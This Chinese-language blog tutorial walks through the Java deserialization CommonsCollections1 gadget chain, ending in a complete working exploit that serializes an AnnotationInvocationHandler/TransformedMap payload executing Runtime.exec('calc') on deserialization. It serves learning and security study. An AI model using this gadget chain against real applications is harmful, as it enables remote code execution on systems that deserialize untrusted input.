Java反序列化-CC1链

本文最后更新于 2025年7月23日 晚上

配置

cc1链要求java版本小于jdk8u71
实测官网最早版本jdk8u71也是打不通了,这里放个链接jdk8u60的
链接: https://pan.baidu.com/s/136ek1pm5HlGIBNFdwh1k8A?pwd=1jhx
设置maven(版本尽量低一点)
然后如下配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">

<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>CC</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<!-- Commons Collections 3.2.1:用于 CC1 -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

<!-- Commons BeanUtils:部分 CC 链中可能调用 -->
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>

<!-- Javassist:部分 Gadget 可能依赖 -->
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
</dependencies>
</project>

1
mvn clean install -U

之后重启一次idea应该就是好了
可以导入

1
import org.apache.commons.collections.Transformer;

检测是否成功,之后就是开始跟着链子打了

Common-Collections 相关介绍

Apache Commons Collections(简称 Commons-Collections)是 Apache 提供的一个功能增强的 Java 集合工具包,它在 Java 原生集合框架(如 ListMapSet)基础上扩展了许多实用功能。该库最初目的是为了 提高 Java 开发效率,但因其灵活的反射和 Transformer 架构,在安全研究中成为了 反序列化攻击链的关键组件

链子分析

首先要明确的是链子的构建需要开头有readObject 方法,结尾的时候需要有能够命令执行的方法。我们中间通过链子引导过去。类似php的反序列化,正常链子都是通过反推的

寻找尾部exec执行方法

idea反编译看的话都差不多,这里不方便直接点右上方下载源码,直接变成.java
入口类:Transformer类

1
2
3
public interface Transformer {  
public Object transform(Object input);
}

2025-07-22214804
这个类接受一个对象,并对传入的对象进行一些操作。
主要看这两个,先看Map这个,没什么利用点,接着去看Invoke这个方法,打开旁边的结构更方便快速定位
2025-07-22215219
在 InvokerTransformer 类中存在一个反射调用任意类,可以作为我们链子的终点

看到这里有漏洞,我们先尝试构造一下,调用这个类的弹计算器。
由于这里是public所以不需要反射

2025-07-22220313

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;  

import org.apache.commons.collections.functors.InvokerTransformer;

public class Test {
public static void main(String[] args) {

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}
, new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}
  • 注意我们最后一句 invokerTransformer.transform(runtime);
  • 所以我们下一步的目标是去找调用 transform 方法的不同名函数

初步寻找链子

2025-07-22221544
方便查找如何调用transform
2025-07-22221648
跳转到这里
TransformedMap 类中存在 checkSetValue() 方法调用了 transform() 方法
这里的value可以传入Runtime.getRuntime()对象
现在去查看一下valueTransformer.checkSetValuevalueTransformer是啥
ctrl+左键跟踪,最后到了
2025-07-22222248这里因为是protected构造的方法,还需要去找谁调用了 TransformedMap 的构造方法。
查找一下谁调用了他
2025-07-22222749
在 decorate() 静态方法中创建了 TransformedMap 对象

到这一步,尝试将其作为链子的开头,写 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;  

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test1 {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashedMap hashedMap = new HashedMap();

Map decoratedMap = TransformedMap.decorate(hashedMap,null,invokerTransformer);
//system.out.println(decoratedMap);
Class<TransformedMap> transformedMapClass = TransformedMap.class;

//获取私有的方法
Method method = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
method.setAccessible(true);
method.invoke(decoratedMap, runtime);

}
}

大致的思路就是(反着看方便)
.transform<—.checkSetValue<----valueTransformer字段<-----TransformedMap类<-----.decorate
而调用decorate的方法默认可以用

1
2
3
4
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"  
, new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

接着,因为 .decorate 方法被调用,可以新建 TransformedMap 对象

再通过反射构造攻击手段
2025-07-22225130

完整链子

decorate 是静态方法,它不会自动触发
目前找到的链子位于 checkSetValue 中,找 .decorate 的链子,发现无法进一步前进,所以回到 checkSetValue 重新找链子
2025-07-22230334
这是一个抽象类,是 TransformedMap 的父类。
调用 checkSetValue 方法的类是 AbstractInputCheckedMapDecorator 类中的一个内部类 MapEntry
2025-07-22230506
setValue() 实际就是在 Map 中对一组 entry(键值对进行 setValue() 操作。(这里也是可以跟进的)
所以进行 .decorate 方法调用,进行 Map 遍历的时候,会到 setValue() 中,而 setValue() 就会调用 checkSetValue

可以打个断点分析一下内容,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;  

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.*;

public class setValueTest {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap hashmap=new HashMap();
hashmap.put("key", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashmap,null,invokerTransformer);

for (Map.Entry entry:decorateMap.entrySet()){
entry.setValue(runtime);
}


}
}

2025-07-22231523
找到一个是数组的入口类,遍历这个数组,并执行 setValue 方法,即可构造 Poc。

寻找链首readObject()

链子到了setValue了,继续找(这里没直接定位到,外部库没下源码,将就class看)
2025-07-22233135
有两个if条件
readObject 的方法是类 AnnotationInvocationHandler 的,AnnotationInvocationHandler 的作用域为 default,我们需要通过反射的方式来获取这个类及其构造函数,再实例化它。
2025-07-22233319

exp

初步

先写正常情况下的理想的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package org.example;  

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class TransformMapExp {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map<Object,Object> transformerMap = TransformedMap.decorate(hashMap,null,invokerTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class,transformerMap);

//序列化和反序列化
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

现在主要有以下需要解决的问题
Runtime 对象不可序列化,需要通过反射将其变成可以序列化的形式。
setValue() 的传参,是需要传 Runtime 对象的,而实际在AnnotationInvocationHandler里setValue里是给定的一个对象,不可控
2025-07-23151627
需要绕过两个if判断才能执行

解决Runtime

Runtime是不能反序列化的,但是他的原型Runtime.class可以反射的,先写个小的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;  

import java.lang.reflect.Method;

public class solve1 {
public static void main(String[] args) throws Exception {
Class c =Runtime.class;
Method method =c.getMethod("getRuntime");//可以跟踪一下可以发现是有return返回的
Runtime runtime = (Runtime)method.invoke(null,null);//Runtime.getruntime()
Method run =c.getMethod("exec",String.class);//String是exec参数
run.invoke(runtime,"calc");//最后调用执行

}
}

可以将反射的 Runtime 改造为使用 InvokerTransformer 调用的方式。
让其在Runtime.class对象上调用getRuntime方法:

1
Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

2025-07-23155332

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example;  

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class solve1 {
public static void main(String[] args) throws Exception {
Class c =Runtime.class;
Method getruntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntime);//如法炮制
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime); //操作手法同上
//Method method =c.getMethod("getRuntime");//可以跟踪一下可以发现是有return返回的
//Runtime runtime = (Runtime)method.invoke(null,null);//Runtime.getruntime()
//Method run =c.getMethod("exec",String.class);//String是exec参数
//run.invoke(runtime,"calc");//最后调用执行
}
}

2025-07-23155552
实际操作下重复工作较多,查找用法可以发现ChainedTransformer类下的 transform 方法递归调用了前一个方法的结果,作为后一个方法的参数。
可以在之前的代码基础上修改一下,创建数组

1
2
3
4
5
6
7
8
Class c =Runtime.class;  

Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(c);

可以写成这个样子,把这个内容带入到之前的exp里面(按道理应该弹不出来啊,欸欸欸,先继续看,无伤大雅可能外部包的问题,我之后思考一下)
因为我们并没有绕过两个if(给两个if打断点进行判断),所以要继续往后看

进入到 setValue

第一个 if 语句 if (memberType != null)
所以传入不能为空,也就是传入的注解参数,是有成员变量的
2025-07-23163536
这里可以用 Target.class 尝试
2025-07-23163817
这里memberValue是传入map的键值对。
Target注释里的值是value。所以需要memberValue里键值对里的键的值是value即可。

1
hashMap.put("value","orange");

解决不可控

往下跟程序,发现 setValue() 处中的参数并不可控,而是指定AnnotationTypeMismatchExceptionProxy 类,是无法进行命令执行的。
可以找到ConstantTransformer这个类
2025-07-23164712
传入的任何对象都放在 iConstant 中,下面的transform() 方法:return iConstant,就类似常量了
将 AnnotationTypeMismatchExceptionProxy 类作为 transform() 方法的参数
也就是这个转化为这个类似的常量,把这个放到链子里就行了

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class TransformMapExp {
public static void main(String[] args) throws Exception {
// Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//solve1 Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//构造可控的参数
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);

HashMap<Object,Object> hashMap = new HashMap<>();
//hashMap.put("key","value");
hashMap.put("value","orange");
Map<Object,Object> transformerMap = TransformedMap.decorate(hashMap,null,chainedTransformer);//修改成chain

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformerMap);//修改成Target

//序列化和反序列化
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

总结

之前学的基础知识和这篇内容就是参考了drunkbaby师傅的文章写的Java反序列化Commons-Collections篇01-CC1链 | Drunkbaby’s Blog
最后再画一个利用链吧

1
2
3
4
5
6
7
AnnotationInvocationHandler-->readObject()-->setValue()

TransformedMap-->MapEntry-->checkSetValue()

ChainedTransformer-->transform(Transformers[])-->ConstantTransformer-->transform

InvokerTransformer-->transform-->getClass-->getMethod-->invoke("exec")

2025-07-23175705


Java反序列化-CC1链
https://0ran9ewww.github.io/2025/07/23/学习文章/Java反序列化-CC1链/
作者
orange
发布于
2025年7月23日
更新于
2025年7月23日
许可协议